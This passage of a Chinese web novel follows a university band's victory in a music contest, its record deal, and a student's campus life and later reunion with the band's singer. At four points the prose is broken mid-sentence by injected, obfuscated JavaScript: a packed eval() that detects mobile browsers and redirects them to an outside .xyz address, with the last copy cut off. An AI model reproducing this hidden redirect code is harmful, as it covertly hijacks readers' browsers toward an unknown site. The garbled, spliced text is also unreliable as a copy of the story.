是抽签，只不过方式略有不同。四支队伍站在盲盒的两边分别拉绳子，拉到同一根绳子的即为同一组。 何瑜走上去，随意拣了一根绳子往自己的面前拉，当她看到樊博宇一脸惊恐地被她拉过来时，笑了，眼神充满了攻击性：“这么快又见面了，老对手。” 分好组之后，两组又通过抽取半球确定了延长顺序，白色的一面为先唱，黑色的一面为后唱，这场晨星乐队先唱。 樊博宇身体僵硬地坐在准备区，背歌词的速度都快了些。 何瑜并没有因为抽签顺序影响到什么，她拨了拨额前的头发，拿出化妆镜检查了一下自己的妆容，又补了个口红，就踩着马丁靴噔噔地上台了。 底下的观众看上来个美女，立刻发出一阵惊呼。但何瑜摆摆手，示意大家安静。照例还是三声震天动地的鼓声，但这次换何瑜站在中间，和成员们一起鞠躬：“晨星乐队的各位成员问候在场各位了。” 底下的欢呼声更热烈了。 何瑜的红唇轻启，几乎咬把人的魂给勾走：“我们乐队将为大家带来一首很经典的摇滚歌曲，刺猬乐队的《白日梦蓝》，你，准备好了吗？” 韦峰的鼓槌先落下第一个音，紧接着吴衡的贝斯跟上，这一来一去之间，像在城市的高楼大厦穿梭。 编曲变得更加简洁了，原来的前奏改短了不少，直入主题。何瑜一开口，宋之雯就被她的声音吸引住了。她的声音并不是那种很亮的女高音，相反有点喑哑，却带着一种成熟女性的美。 青春是青涩的年代 我明白明天不会有色彩 社会是伤害的比赛 当我醒来时才明白 请你不要离开 这里胜似花开 这回齐扬唱了歌曲中的和声，更突出了原曲中的女声，显得女声更加如梦如幻，但又不会因为没有托底变得虚无缥缈。 何瑜的歌声中有随着这座城市一起下坠的颓废沉沦，但也有一种废墟之中开出花来的生命力。并且越往后颓废的色彩越来越少，希望的色彩逐渐亮了起来，声音也通透了不少。 后面乐队弹奏的声音也逐渐强烈，并且韦峰、吴衡和叶琛也加入到了伴唱之中，营造出了十几个人呐喊的气势。 何瑜最后一段是用假声女高唱的，随着云霄直到了顶端，然后戛然而止，音乐也在这时候收尾，一点都不拖泥带水。 观众快把手都拍麻了，何瑜还不忘前后左右致意，并给樊博宇甩去一个得意的眼神。 有何瑜丢下这么一颗重磅炸弹之后，观众的胃口被吊足了，因此樊博宇接下来和队友带来的男团歌曲就逊色了不少，有人听得连连打哈欠。 最终晨星乐队以断崖式领先的分数很轻松地晋级了决赛。 何瑜对这个结果一点都不意外，平静地和队员们击掌庆祝。 接下来的比赛也没什么悬念，A大领先他的对手有将近10分的优势，因此几乎是把他的对手按在地上摩擦。 这样C大又和A大这个老冤家在决赛狭路相逢了。 32. 第三十二章 告白 齐扬的心咚咚直跳，他发现自己从来没有离胜利这么近，也从未如此渴望过胜利。 他伸出手，搭在了旁边吴衡和何瑜的肩膀上：“我们聚聚气吧，最后一场比赛了，好好把它比完，大家有没有信心？” “有。”成员们喊得格外整齐，就连平时不怎么说话的叶琛都很大声。 乐队又面朝宋之雯的方向，看见她举了一个必胜的手势。 主持人的声音也激动了起来：“接下来要进行的就是万众瞩目的决赛了。首先恭喜我们冠军的有利争夺者，C大和A大，两个学校在刚刚的竞争中都展现出了超强的实力。这一轮冠军争夺战观众可以投票，每人的一票相当于十票，同时正在观看我们直播的朋友也可以参与投票，请慎重投票，选出你们心中的冠军。下面还是请选手抽签。” 因为这次是齐扬主唱，所以必须由他抽签了。齐扬吞了吞口水，凭借着自己的感觉选了一个，快速翻看，是黑色的一面。 宋之雯暗暗在心里叫好，这么关键的决赛，抽到后唱无疑能在观众心里留下更深刻的印象。同时她也让林嘉和比赛一开始，就用公众号推送直播链接，给齐扬投票。 郭卫笑着上场了，随着音乐随意舞动着身体，看起来状态很轻松很享受。他唱的是摇滚界鼻祖地位的歌，黑豹乐队的《Don’tbreakmyheart》。 这首歌几乎所有人都能跟着哼唱个一两句。因此郭卫一开口就唤起了很多人的回忆，他们被郭卫的热情感染了，情不自禁地跟着唱了起来，到最后演变成了全场的大合唱，就连直播的弹幕也连连刷着“爷青回”。 郭卫一边唱，一边还在舞台的两边走动，蹲下来做各种搞怪的手势，完全把比赛变成了自己的个人演唱会。 唱完之后，郭卫也对自己的表现非常满意，连跑带跳地下了台。 齐扬对郭卫嗤笑了一声，他现在已经不紧张了，对手的舞台效果越好，他反而越有迎难而上的决心。 乐队成员站在了熟悉的位置上，他们互相对视了一眼，就像平时排练无数遍的那样，奏响了第一个音符。 旋律一出来，大家都觉得陌生，怎么这歌这么老，难道现在都开始流行怀旧了？ 这一切都在齐扬的意料之中，他带着笑意用低沉的声音说道：“1993年A市的演唱会，由群星演唱的《飞向未来》送给大家，也给这六个月的比赛做一个收尾。” 一开始出来的是何瑜令人沉醉的女声，很快抓住了大家的耳朵：“有人在遥远地方呼唤，有人在陌生角落轻叹。” 韦峰紧接着接上：“窗外是寒冷忧郁的季节，谁能带来一丝温暖。” 吴衡也用清亮的声音唱道：“曾经你在乎失去所有。” 有了吴衡带着，叶琛也放开了手脚，把音准完成得很好：“也许你变得孤独冷漠。” 齐扬接过了叶琛的接力棒，声音在五个人中格外突出：“让我们拥抱成长的记忆，串成奔放的旋律。” 五种声音，五个不同性格的人，最后融合在了一起，演变成了大合唱，默契得像是一个人发出的。 歌声飞扬在风中 热情激荡在心胸 燃烧青春照亮我和你 一起追寻追寻未来的梦 飞向永恒无垠的星空 观众也被他们的表演形式惊讶到了，一般来说乐队只有一个主唱，每一次唱歌都是以主唱为主，五个人一起唱的情况还是第一次见到。不过他们很快就接受了，因为这五个人在一起能唱得如此和谐动听，那又有什么关系呢？ 宋之雯的眼泪悄无声息地落了下来，以前晨星音乐社的一幕幕如电影放映般浮现在了她的眼前。这是他们的青春，也是属于自己的独一无二的青春。 慢慢地，演播厅里的众多大学生也加入到了合唱的队伍里来，他们真的像由齐扬带领着，飞向了未来，有无限的可能。 因为青春就是最美好的。 两边的彩带机开始运作，齐扬的身影变得模糊不清，但他的声音在演播厅却依旧响亮：“请记住我们晨星乐队，成员分别是主唱齐扬，贝斯手吴衡，吉他手叶琛，键盘手何瑜和鼓手韦峰。” 观众开始自发地鼓掌，一直到音乐结束之后才平息。 演唱完毕，灯光恢复了普通的白光，舞台上一地狼藉，正如宴会的散场。 主持人邀请两位选手走到台前：“比赛快结束了，我还是问一下两位选手的感受吧，先问郭卫，你感觉怎么样？” “非常好，玩得很开心。” “你为什么要挑战这么经典的歌曲呢？” “因为这首歌在摇滚界有非常高的地位，也是我的音乐启蒙，再说最后一场了，输赢无所谓，只是完成我的梦想。” “说得好。”主持人很满意，“那齐扬呢？你为什么选择这样一首冷门又相隔久远的歌呢？” “这是小时候我妈妈放给我的，还有它里面有合唱，正好能把我们五个人囊括进去。晨星乐队从来不是我一个人的，而是我们大家的。” “说得好。”主持人给他竖了个大拇指，随后又把手伸向涂龙的方向，“涂老师，你有什么要最后总结的？” “我没有什么要总结的。”涂龙的目光久久在他们两个人身上停留，“今天的比赛不分输赢，我可以说他们两个都是未来的希望，就像歌词里唱的那样。” “虽然但是，还是要有一个结果。”主持人勉强圆了回来，“下面开始投票，你更喜欢哪一个表演，就按哪一个。请注意评判的标准只有一个，就是在你心目中谁的表演配得上冠军。” 宋之雯毫不犹豫地投了第二个表演。 大屏幕开始滚动，两队的票数几乎是势均力敌地增长，一直到一万票了还没分出胜负。紧接着票数继续上涨，从一万到两万到三万，在四万的时候，齐扬所在的队伍才冒出了一个小头。 这还是被眼尖的主持人看到了，他一锤定音：“恭喜C大获得大学生音乐联赛的总冠军，请评委涂龙老师为他们颁奖。” 吴衡难以置信：“我们真的赢了？” 齐扬过来拍拍他的头：“是的，我们赢了。” “啊。”吴衡抱着叶琛又哭又叫，晃得叶琛都不耐烦了。 郭卫过来和何瑜握手：“恭喜。” 何瑜也用力回握了一下：“也谢谢你，可敬的对手。” 打着唇钉的女孩也过来和齐扬握手：“请记住我的名字，我叫秦伊莲，我是不会轻易认输的。” 齐扬笑了：“那我就等着我们下一次对决了。” 奖杯是一个立麦的形状， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812055|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂龙走下评委席，把它递到了齐扬的手里：“不错啊小伙子，我看好你，这几天你先别走，我们好好聊聊。” “没问题，我随时有时间。” 比赛进行了三个多小时，出来天都黑了。然而队员们一点都没觉得疲惫，他们被胜利的喜悦冲昏了头脑，觉得在大街上乱晃还不够发泄的，于是直奔什刹海的酒吧去。 什刹海是音乐文青的聚集地，这里一条街上有数家酒吧，并且每天都有乐队轮换演出。 齐扬选了一家安静地放着爵士乐的坐下来，点了酒和餐食，摆了满满一桌。 宋之雯点了一杯血腥玛丽，红色的液体中飘着柠檬片和芹菜叶，味道酸甜苦辣夹杂在一起很是怪异，没过一会儿胃里就不舒服。 偏偏这家酒吧很小，洗手间还在外面，她赶忙跑了出去，趴在洗手池前面吐了好一会儿才舒服。 起身往回走的时候，她忽然看到前面的巷子里有一男一女在说些什么。宋之雯原先是对偷听别人的对话不感兴趣的，不巧却听到了尹心悦的声音：“齐扬，我们认识这么久了，有些话我也该说出来了，我喜欢你。” 宋之雯脚步一顿，飞速闪躲到了洗手间的后面。 齐扬身体半倚着墙，手插在口袋里，懒洋洋地看着她：“谢谢你的喜欢，可是我不喜欢你。” 尹心悦似乎对这个结果早有预料，但还是不死心地问道：“为什么？我到底哪里不好了？你要知道很多男生追我的，我都没答应。” “很多男生追你我就要答应吗？”齐扬站直了身体，脸在白色的路灯的映衬下变得有点冷，“记住，漂亮、可爱这些不一定是能保证你被爱的前提。” “那你到底喜欢什么样的女生？宋之雯吗？”尹心悦死死地盯着他，迫切地想从他眼里寻找一个答案。 宋之雯整个人震了一下。 齐扬打断了她：“我喜欢谁不重要，但我可以很确定我不喜欢你。你长得漂亮，唱歌也很好，但我除了和你交流音乐之外就没有其他的想法了。” “我知道了，所以今天我在唱歌的时候情绪才那么失控。”尹心悦的声音有点哽咽了，“不过说出来好多了。” “不过有件事情我要拜托你。”齐扬的声音忽然柔和了下来。 “什么？” “我走之后，晨星音乐社就拜托你了。” “放心，交给我吧。”尹心悦强行挤出一个笑容，然后转身离去，只有宋之雯看到了她走出了几米后开始擦眼泪。 齐扬也正要离开，忽然又撤了回来，对着她的方向说道：“出来吧，偷听别人的对话可不礼貌。” 宋之雯只好不情愿地出来：“我不舒服去了趟洗手间，顺路听到了。” “现在好点了吗？” 宋之雯点了点头。 “今天听到的一个字也不许往外说。”齐扬的语气里带了点警告的意味。 “我知道了。”宋之雯做了个封住嘴巴的手势，又把话题岔开，“涂老师找你签约了吗？” 齐扬看了眼手机又放回口袋：“还没，明天先和我们五个人谈谈。” “真好啊，你要当大明星了，你的梦想终于要实现了。” “明天你先回A市吧。”齐扬不知怎么的声音有点疲惫，“我过段时间就回来。” 33. 第三十三章 签约 宋之雯看他的样子，只当是后面有太多工作要交接，也没多问为什么，朝他点点头：“那我先回去了，你也早点休息。” 她回到酒吧拿东西，只说喝多了要回去睡觉，然后就独自一人打车回了酒店。 齐扬已经给她订好了机票，第二天下午宋之雯就乘上了回A市的飞机。 她对接下来要发生的事一无所知。 涂龙把乐队的成员请到了一间会议室，轻轻关上了门，然后坐在中央的位子上，透过眼镜镜片审视着他们。 齐扬感觉自己像被冷冰冰的机器扫描一样，浑身不舒服。 良久涂龙才开口：“小伙子，我说句实话，你的条件太好了，如果能作为偶像歌手单独出道的话，一定能吸引一大波女粉丝，然后爆火。” 齐扬毫不畏惧：“那我也在这里把话说开了，如果要我签约的话，把他们都带上。”他伸手指了指乐队的其他成员。 “你确定？”涂龙银灰的眉毛动了动，“偶像歌手和乐队人气可差很多。” “我决定好了。” “不过你们中间有几个人也可以的。”涂龙继续说，“比如那个贝斯手，比如那个女孩子，你今年多大了？” “28了。”何瑜回答。 涂龙若有所思地点点头：“那是比较难了，已经错过最好的发展时机了。” “我本来也没想要出道，只是陪我的学生齐扬来比赛一下就回大学里。”何瑜转头看着齐扬，“说实话你可以考虑一下。” “瑜姐你真的要回去啊？大好的机会摆在这里。”吴衡失声叫了出来。 “不然呢？我大学稳定的工作干得好好的，陪你们来吃苦？现在学院竞争很激烈的，绝不允许一边演出一边挂闲职。” 齐扬伸手挡在了她面前：“瑜姐，我说真的，你是我这么多年见过的最好的女歌手，窝在大学里实在可惜了，你就该在更大的舞台上发光发热。况且从我们乐队建立以来，你是主心骨，是我们的导师，又是默契的搭档，我们乐队不能没有你，没你就散了。” “是啊，瑜姐，我求求你留下来吧。”吴衡差点就给她跪下了。 何瑜此时的脑袋里一团乱麻，她指了指门口，对涂龙说道：“我能出去抽根烟吗？” “随意。”涂龙为她打开了门。 何瑜走到走廊的尽头，站在窗前，点燃了一根烟夹在手上。她原本以为乐队只是陪这群小屁孩玩玩，没想到他们这么认真。 二十出头的自己也不是没有想过要成名，不过在遇到困难之后她认清了自己，还是在大学里做一个教书匠比较好。 如今机会又摆在了她眼前，叫她怎么取舍？ 何瑜想了想，还是先给自己的父母打了电话，后面又给学院打了电话，得到的当然都是不友好的声音，说她这个年龄了实际一点，不要白日做梦。 她挂断了电话，咒骂了几声，一股无名的怒火从心头升起。 才28怎么了？往后的人生还有好几十年呢。 她掐灭了烟头，利落地转身推门进去：“我决定了，我就陪你们玩一玩吧，管他呢。” 吴衡立刻爆发出一阵欢呼，齐扬笑着看向涂龙：“怎么样，把他们全签下来可以吗？” “可以，不过我有条件。”涂龙拿出了合同摆在桌上，“现在我所在的公司是乐悠娱乐，目前艺人已经饱和了，你应该也听说过很多二三线的歌手想进都进不来。目前我们旗下还有几家子公司，法人代表都是我，其中一家无忧娱乐是专门招募新人歌手的，流程一样，进去培训，然后量身定制专辑。” 齐扬细细地翻看着合同，给出的条件都还算合理，没有什么霸王条款，也不用赔巨额的违约金。 “关于你的个人问题我还有个要求，你现在没有女朋友吧？” “没有。”齐扬很干脆地回答。 “因为你现在正处在上升期，爆出恋爱对你的事业影响很大，所以你两年之内不能谈恋爱，可以吗？” 其他人都看向齐扬，原本以为他会犹豫一会儿，没想到他一口答应：“可以，我能做到。” 涂龙满意地点头：“那你们再看看，没什么问题就签约吧。” 齐扬大笔一挥在纸上签了自己的名字，随后其他的成员也跟着签了。 涂龙合上合同：“一式两份，你们一份，我这里一份。从今天起你们就正式成为一名艺人了，一会儿分配的经纪人会带你们去公司了解情况，明天开始封闭训练。” 几个人走出了会议室，像轻飘飘地走在云端一样不敢相信。 一下飞机，宋之雯就给齐扬发了条消息，说自己平安到A市了，问他签约完了吗？什么时候回来。 结果齐扬一直没有回复。 此后他仿佛断联了一样，发出去的消息都石沉大海。只有何瑜还回过她几条消息，说他们已经签了公司，正准备出新专辑，最近很忙，可能要过一段时间才能回来了。 于爱丽倒是给她打过一个电话，说自己上网查过了，挑战杯老早结束了，质问她到底干什么去了。 宋之雯只好老实坦白，自己是跟音乐社的成员参加活动去了。 于爱丽被气得不轻，絮絮叨叨地骂了足足有半个小时，说她怎么这么不懂事，让她不要和那些人来往，偏偏要对着干，长大了翅膀就硬了。 宋之雯也赌气地回答现在已经不联系了，这次是真的，然后就挂断了电话。 几个月之后，宋之雯就看到晨星乐队携第一张专辑《晨星》强势出道的消息。 他们就像两条射线，短暂地相交又渐行渐远。 尹心悦什么都没有说就接过了晨星音乐社社长的职位，吉他社换了新任社长，宋之雯偶尔还会去帮忙，不过现在也没有太多忙要她帮的了，因为她已经很久不弹吉他了。 一切都恢复了平静，就如从来没有齐扬这个人一样。 只是她偶尔路过音乐学院，看到招生宣传上齐扬的照片时，才会恍惚一下。 这学期剩下的时间，她和林嘉和跑了很多地方，采访了很多人。最后一个任务就是采访自己学院的最美导师候选人——老刘。 采访的时间定在下午，午后的阳光正好，透过窗棂照在老刘养的绿植上，一片生机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋之雯信服地点头：“学长学姐都说你很亲切，对他们的学习生活也很关心，就像朋友一样。” “唉，现在的学生压力太大了。也能理解，因为文学院人太多了，竞争也激烈，保研名额一共就这么几个。所以有些人为了加分，自己不喜欢还担任了好几个职务，我看了都心疼。”老刘摇摇头，“没必要，真的没必要，少那么一两个荣誉称号也不会怎么样，最后还不是找到工作了？每年毕业季都有心理出问题的学生，被我劝回来了。” 宋之雯忍不住笑了，“你这比心理咨询师还管用呢。” “之前扣分的那个事你千万不要在意，学院的规定嘛，没办法。你成绩那么好，下一年也能拿奖学金的。” “我知道，我现在已经好了。” “新媒体中心的工作辛不辛苦啊？” “还好，我做下来发现我挺喜欢这份工作的。” “喜欢就好，人就是要做自己喜欢的事情。”老刘眯着眼笑，皱纹都舒展了开来。 两人又对坐聊了很久，直到夕阳快要落山了，宋之雯才收拾东西起身：“谢谢老师陪我聊了这么久，辛苦了。” “我送你出去吧。”老刘和她一起结伴走到学院门口，朝她挥挥手，夕阳里，他的面庞显得格外慈祥。 34. 第三十四章 快闪 回去以后宋之雯立刻加班加点地把推文赶了出来，还加上了一些学长学姐对老刘的评价。推出后立刻引起了不少人的共鸣，公众号下面的留言都是一水的为老刘打call。 最终，老刘如愿评上了学校的十大最美导师，拿奖金请全班吃了顿饭。 学期结束之后，宋之雯和舒青竹等人又留校了一会儿，她们这次是真的想好好搞这个科创竞赛。 辅导员先把所有参加竞赛的人集中起来开了个会，列举了一系列文学院和其他学院的数据对比，总而言之就是文学院的科创项目太少了，要他们好好搞，为学院争光。 大会结束后宋之雯干脆把所有成员留下来，在文学院的角落里又开了个小会。 她问项婉：“你们老师现在教你们做数据库了吗？” 项婉点点头：“简单的教了，不过那种复杂的AI改作文我做不来。” “没关系，现在我们的任务就是把各个区近5年的模拟卷收集起来，进行分析，然后分门别类地建数据库。” “中小学的都要？”舒青竹大叫了一声，“那这工作量得多大？” “要不范围小一点，就初中吧，题目有套路一点。”宋之雯建议道，“我们每个人负责一个区？” “行。”杨灵一口答应下来。 钟小欢却一脸不情愿：“我们要在这里呆几天啊？我还想快点回家呢，一学期没回去了。” “就一周。”宋之雯轻声安抚道，“把数据库的雏形做出来就行。” 钟小欢只好闭嘴不说话了。 接下来的一周大家便分头去搜集资料。有些卷子公众号上有，复制粘贴一下就行，但有些好学校不对外公布卷子，宋之雯只能拜托自己的学姐偷偷要过来，还有一些得自己买试卷合集，再转成文字版。 钟小欢这几天都是早出晚归，人就像消失了一样，叫她开会也不来，没人知道她干什么去了。直到最后一天，她才把自己搜集的资料发给宋之雯。 宋之雯把数据一汇总，钟小欢的资料是最少的，只有几张卷子的电子版，随便哪个公众号上拿过来都行，这样根本支持不了一个数据库。 舒青竹看得窝火：“她从一开始就没打算好好做吧，我跟你说过不要拉她进来，现在好了吧，再把她踢出去也难了。” “我找个机会委婉地和她说一下吧。”宋之雯揉揉太阳穴，“事到如今我们只能帮她把这部分数据补齐了。” “我靠。”舒青竹嘴里骂骂咧咧，“自己犯的错误还要别人帮她擦屁股，真是倒了八辈子霉了。” “行了，赶紧弄吧，不然项婉来不及汇总了。”宋之雯反手就是甩给她一堆资料，“这是学姐给我的，你把它们归归类就行。” “我们做了这么多，最后的加分权重怎么算？”舒青竹看着她。 “都加一样的分数吧。” 舒青竹快跳起来了：“你当是平均分配那会儿呢？干多干少都一样？她配和我们加一样的分数？” “不然把人分成三六九等吗？她单独一档？” “行吧，你善，你是大善人。”舒青竹丢下这么一句话就工作去了。 一周之后，项婉把建立起来的一个简陋的数据库雏形给她们看，大致分为默写、基础知识、古诗文和现代文四块，可以根据关键词进行检索匹配。 “辛苦你了项婉。”宋之雯递给她一杯奶茶，“这数据库只能靠你一个人做了，我们都不懂计算机。” “没事。”项婉接过奶茶笑了笑，“也是你们让我知道，我专业上还有这么多不懂的地方，主动去请教老师了。” “行，那我们这学期的工作就先到这里，暑假回去根据这个数据库把申报书的内容写一写。”宋之雯自己给这学期做了打板。 暑假宋之雯几乎是把自己所有的精力都投在了这个项目上，对比了市面上很多同类型的app的功能，和项婉不断调整沟通。于爱丽看到她把心思逐渐转移到了学习上，满意地点点头，也少了很多唠叨的话。 不知不觉间，大二就开学了，课程不减反多。宋之雯除了每天完成作业外，还有新媒体中心的工作，还要操心课题，几乎没有空余的时间去吉他社了，和社员们在一起的那段经历好像也是很久之前的事了。 申报书的每一块她们都写了上万字，所以当宋之雯看到钟小欢交上来的部分只有短短一千字的时候，彻底上火了，她决定找钟小欢好好聊聊。 一天的古代汉语下课之后，她舒青竹打了招呼，特意在教室多留了一会儿。而钟小欢看起来也不着急，慢悠悠地把笔一支支整齐地放到笔盒里，书一本本叠好，等真的收拾完之后，才回过头来看宋之雯：“你是不是在等我？” “是，走吧。” 宋之雯和钟小欢结伴走出了教室，到了走廊尽头的时候，钟小欢抢先一步挡在了她的面前：“正好，我也有事要和你说。” 宋之雯早有准备，点点头：“说吧。” “我这个人呢，没什么大追求，高中时候也是被我爸妈逼着学习，但很幸运考了个好学校。到了大学，爸妈不管我了，我就想着不挂科就行，反正我的愿望就是找一份稳定的工作，有吃有喝，再养一只猫。” “所以呢？你想和我说什么？”宋之雯抱着手臂看着她。 “其实这个课题我也是送你个人情，看到你们找不到人才凑个数。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823345|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟小欢笑了，“等真正做了之后我才发现我对这些是真不感兴趣啊，很佩服你们这些好学生能花这么长时间钻研。我也知道你们对我很不满意，一直在背后骂我。所以这回我就直说了，我退出。” 宋之雯没料到她会说得这么直白，一瞬间愣了神。 “行了，不拖累你们了，你继续加油。”钟小欢潇洒地转身离去。 此后宿舍自动分成了两个阵营，杨灵和舒青竹经常在一起玩，钟小欢一个人独来独往，宋之雯看在眼里，却又无可奈何。 她和林嘉和说了这件事，林嘉和很平静地告诉她大学里这种事太多了，处得来就处，处不来自然就分道扬镳了，要学会习惯。 至于新成员，宋之雯厚着脸皮在年级群里问了一下，终于招来一个愿意跟着她们的女孩子，把钟小欢的那部分全部推翻重做，赶在十月份交了稿。 一个月之后结果下来了，虽然她们申报省级课题被卡了，但好歹校课题是成功立项了。 立项那天宋之雯高兴得请所有成员聚了一顿餐，与上一学年和奖学金失之交臂相比，这一年显得格外顺利。 冬去春来，宋之雯觉得自己又成长了不少，她已经快忘了齐扬了，仿佛他只是一个遥远的符号。 一年一度的校庆日要开始了，新媒体中心这次格外重视，提前制定好了方案，要拍摄一个校庆视频，分为不同的场景，宋之雯和林嘉和负责的就是图书馆快闪这一块。 快闪，顾名思义就是一大群人事先约定好在图书馆做特定的动作，然后快速走人。 尽管只是拍摄这样一个短短的镜头，做起来却很难。要提前和图书馆沟通好时间，还要招募志愿者，还要排练，宋之雯费了老大力气才和老师申请下来加志愿者时长。 这么多的人，需要有一个固定的中心，要不然就会显得很乱。因此拍摄之前林嘉和提前和她说了会请来一位嘉宾参与拍摄。 当宋之雯问起这位嘉宾是谁的时候，林嘉和却支支吾吾不回答，说她那天来了现场就知道了。 神神秘秘的。宋之雯撇了撇嘴，她觉得这位部长越来越会卖关子了，和新生呆在一起久了都学坏了。 正式拍摄那天，宋之雯按约定提前到了图书馆的咖啡吧，先拍摄的是这位嘉宾的戏份。她看到林嘉和远远地向她招手，便跑了过去。 到了吧台前，她发现林嘉和旁边还坐着一个人。那人穿着格子毛衣，里面搭配白色衬衫，下面是蓝色的牛仔裤，一副社会小青年装乖的模样。 齐扬缓缓地抬起头，和她打招呼道：“嗨，好久不见。” 林嘉和迫切地等待着她的反馈：“怎么样？惊不惊喜？意不意外？” 35. 第三十五章 谎言 “意外你......妹啊！”宋之雯忍了忍，最后还是没有说出来。她原本以为齐扬已经从她的生活里彻底消失了，没想到又以这样的方式见面。 她露出了一个很礼貌的笑容：“好久不见，真巧啊，你怎么来了？你不是很忙的吗？” “回学校交材料来了，顺道回来看看。”齐扬站起身来，“走吧，你们不是还要赶时间拍摄吗？” 项婉这时候也赶了过来，看到齐扬惊讶地捂住了嘴：“我的天，第一次离学长这么近。” “为学校拍摄点视频，举手之劳啦。”齐扬难得这么正经。 宋之雯淡定地翻了一下拍摄流程：“我们的安排是这样的，先从图书馆的艺术阅览室开始，再到校史馆，一路下来，最后你走到图书馆的大堂中间。快闪的人从两边出来，你就唱校歌就可以了，明白了吗？” 齐扬点点头，像个认真听讲的好学生：“明白了，我们开始吧。” 一行人坐电梯上了七楼的艺术阅览室，新媒体中心早已经划出了其中的一块区域进行拍摄。项婉指挥齐扬先游走在书架中间，然后挑出一本自己喜欢的书坐下来翻看。 齐扬的指尖在书脊上快速地触碰划过，他的手很好看，不是那种白皙的手，而是骨节分明，上面有常年练琴磨起的老茧，手背上有突出的手筋，显得更有力量感。午后的阳光落在他身上，把他整个人都镀上了一层金色。 他很干脆地抽出一本《西方音乐史》，找了个空的座位一页页仔细看着。虽然周围的同学都提前知道这里要拍摄，但还是不免对齐扬投去好奇的目光。宋之雯一瞬间也有点恍惚，她仿佛看到了大一大二的齐扬也是这样在图书馆紧张地准备期末考试。 项婉还是保持了自己良好的专业素养，将摄像机放低，一点点地推进，最后几乎是怼到了齐扬的脸上，然后做了个OK的手势。 宋之雯跟着看回放，少年坐在那里安静地翻动书页，精美的文字和图片就跟随着他的指尖流动，一幅岁月静好的画面。 结束了艺术阅览室的拍摄，几个人转场校史馆，这里陈列了学校从民国时期到现在的历史，齐扬的任务就是按照时间把校史馆陈列的内容走一遍。 时隔将近一年回到母校，齐扬也有诸多的感慨。自从签约以后他的生活只有练歌和写歌，忙到凌晨才能睡下，那强度真不是一般人能承受的。所以当他看到校园里那些青春活力的学弟学妹们的时候，竟然有一丝羡慕。 他很快就进入了拍摄状态，指尖轻抚过那些岁月的痕迹，眼神若有所思。项婉也在旁边不停地指导：“对，就是这样，脸再侧过来一点，好的，这个眼神保持住。” 宋之雯和林嘉和对视了一眼，都苦笑了一下，经过了一年的锻炼，项婉已经完全出师了，颇有大导演的风范，真是养活徒弟饿死师傅。 最后一个镜头由宋之雯先下去做准备。志愿者已经来得差不多了，个个都是身材姣好，皮肤白皙的女孩子，穿着学院风的外套和百褶裙，站在那里就是一道靓丽的风景线。 宋之雯指挥着她们从两边出来，再简单地排了一下舞蹈，然后回到原位等待楼上项婉的指令。 大概过了几分钟，项婉就给她发消息说楼上准备就绪了，等齐扬下来之后再出来。 宋之雯一仰头，就看见齐扬扶着栏杆，沿着楼梯缓缓下来，摄像机一直追随着他，好像出席盛装舞会的王子。 可惜她不是公主。 齐扬走到大厅中央，开始唱校歌，依旧是熟悉的声音，低沉、平稳，这么正式的一首歌也能被他唱得这么好听。 宋之雯朝女孩子比了个OK的手势。紧接着副歌部分的音乐响起，女孩子都小跑到齐扬身边，跳起青春活力的舞蹈。随着歌曲情绪的逐渐推进，她们的动作也越来越快，在结尾部分华丽地转了个圈作为结尾。然后从口袋里掏出小旗子，不停地挥舞着，祝母校生日快乐，笑容绽放得十分灿烂，音乐一停立马跑没影了。 这场快闪活动吸引了图书馆众多的同学围观，拿着手机咔咔一通拍照。甚至有学弟学妹在活动结束后斗胆请齐扬签名，齐扬都一一满足了。 宋之雯在旁边耐心地等待着，因为她还有最后的几个问题要采访齐扬。 齐扬好不容易才从人群中脱身出来，看到一旁的宋之雯，问道：“还有事吗？” “我还想最后问你几个问题，我们要推送的。”宋之雯指了指学校的咖啡吧，“这里聊？” 项婉立刻拿着摄像机跟了上去。林嘉和把齐扬请到了咖啡吧的一个包间里，正要掏出手机付款时，齐扬摆摆手：“不用了，这次我请。” 他对每个人的口味都做了一定的了解，给林嘉和的是冰美式，项婉的是热可可，宋之雯的则是抹茶拿铁。 摄像机架好了，宋之雯开始了正式的采访：“请问学长这次拍宣传片有什么契机没有？是谁邀请你来的？” “一开始是学院的老师和我说，校庆能不能回学校参加活动，后来新媒体中心邀请我，我就回来了。”齐扬对答如流，显然已经接受过很多次这种训练了。 “那这次回母校有什么感受？” “熟悉又陌生。熟悉是因为琴房、教室我都反复来过许多次，陌生是因为我已经工作了，正式步入社会，再也不属于这里了。” “学音乐的或许都有一个舞台梦，那如今你的梦想实现了吗？什么感受？”宋之雯继续追问。 齐扬低着头笑了一下：“实现了，但是苦乐参半吧。苦是工作太辛苦了，有生存的压力，也要与人打交道。当然快乐也是有的，因为可以做自己喜欢的事。” “可以给学弟学妹们一些建议吗？” 齐扬的眼神忽然认真了起来，他直视着镜头，思索了一会儿才说道：“好好学习专业知识，让自己有一门技能，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 